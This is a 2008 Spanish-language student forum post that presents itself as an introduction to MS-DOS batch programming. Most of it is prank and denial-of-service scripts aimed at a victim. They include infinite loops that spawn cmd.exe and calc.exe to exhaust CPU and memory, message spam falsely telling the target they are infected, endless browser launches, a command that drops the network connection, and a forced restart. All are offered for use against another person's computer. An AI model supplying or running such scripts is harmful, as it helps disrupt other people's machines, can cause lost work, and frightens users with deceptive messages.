ALMI ESI 1º 2008-2009

apuntes trabajos charlas dudas etc
Indice­Registrarse­Conectarse
Publicar nuevo tema   Responder al temaCompartir | 
 

 Introduccion programacion batch

Ver el tema anterior Ver el tema siguiente Ir abajo 
AutorMensaje
Mikelp



Mensajes: 14
Fecha de inscripción: 01/10/2008

MensajeTema: Introduccion programacion batch   Mar Oct 07, 2008 10:32 am

Programación en Batch (Códigos por lotes en MS-DOS)

Esto es un pequeño manual sobre programacion batch, intentare explicar lo que yo medianamente se, es decir, no pretendo aparentar ser un experto en este tema ni en otros, simplemente explicare lo poco que se ayudado de informacion que recabe y intentare atraer vuestra atención hacia este tema y otros para que luego vosotros por vuestra cuenta estudieis este y otros temas.

Bien, comenzemos, que es la programacion en batch?
Conocemos a la programacion batch como la programacion de ordenes en MS-DOS que luego se ejecutaran de forma automatizada, es decir, todo lo que se pueda hacer por ms-dos se transladara a los codigos por lotes que ejecutaran estas ordenes de forma automatica y por lotes.

Que quiere decir esto? como puedo aprender a programar en batch?
Para aprender programacion en batch (de echo muchos diran que esto no es programar, seguramente esten en lo cierto, es simplemente una forma de decirlo) tendras que aprender MS-DOS y sus comandos.

No pretende aburrirte con una lista enorme de comandos en MS-DOS ni pretende que te los aprendas de memoria, hay muchas paginas que te mostraran los comandos y como funcionan, solo tendras que buscar en google

De todas formas iremos a lo que nos interesa aqui, los codigos por lotes.


Como hacer que la memoria se ponga a full.

Para esto necesitaras crear un bucle.

Ejemplo:
@echo off
:bucle
net send * probando
goto bucle
exit

Esto creara un bucle infinito de mensajes del sistema.

El comando net send envia como habreis deducido mensajes del sistema.
Echo off se desactiva para que la ventana del MS-DOS se cierre

Ejemplo 2:
@echo off
:bucle
start cmd.exe (simbolo del sistema)
start calc.exe (calculadora)
goto bucle
exit

Con el comando start inicias procesos, y como ya os dije con el bucle crearas un bucle infinito xD, de simbolos del sistema y calculadoras, o lo ke te venga en gana puedes poner.

Con estos pequeños códigos conseguitas poner la cpu a tope y seguramente el atacado debera reiniciar el pc.

Si ademas de joderle la memoria quiers reirte un rato de el pondras esto
echo msgbox \"Vas a ser puteado\"
msg * ola, estas infectado, pulsa aceptar para continuar...
msg * intentastes cerrarlo? No podrás, jeje
msg * bueno a continuación de que terminen los mensajes se te abriran muchisimas ventanitas
msg * tendras que reiniciar el equipo..
msg * jaja, este puede ser el ultimo mensaje…..
msg * uyyyyy, no, no era el ultimo, que tensión….

@echo off
:putada
start cmd.exe
start calc.exe
goto putada
exit

Tambien puedes abrirle paginas web
@echo off
:putada
start www.google.es
goto putada
exit

Tirarle la conexion:
ipconfig/release

Con este comando le tirarias la conexion a internet reseteandole la ip
Con este otro se volveria a conectar:
ipconfig/renew

Apagarle la pc:
@echo off
shutdown -r -f -t 1
exit

Como veis hay infinidad de códigos, solo teneis que buscar, hasta aqui esta pequeña introducción.

Próximamente mas pequeños manuales de introducción.
Mikelp
Volver arriba Ir abajo
Ver perfil de usuario
 

Introduccion programacion batch

Ver el tema anterior Ver el tema siguiente Volver arriba 
Página 1 de 1.

Permiso de este foro:No puedes responder a temas en este foro.
ALMI ESI 1º 2008-2009 :: OFF TOPIC :: Hacking y seguridad-
Publicar nuevo tema   Responder al tema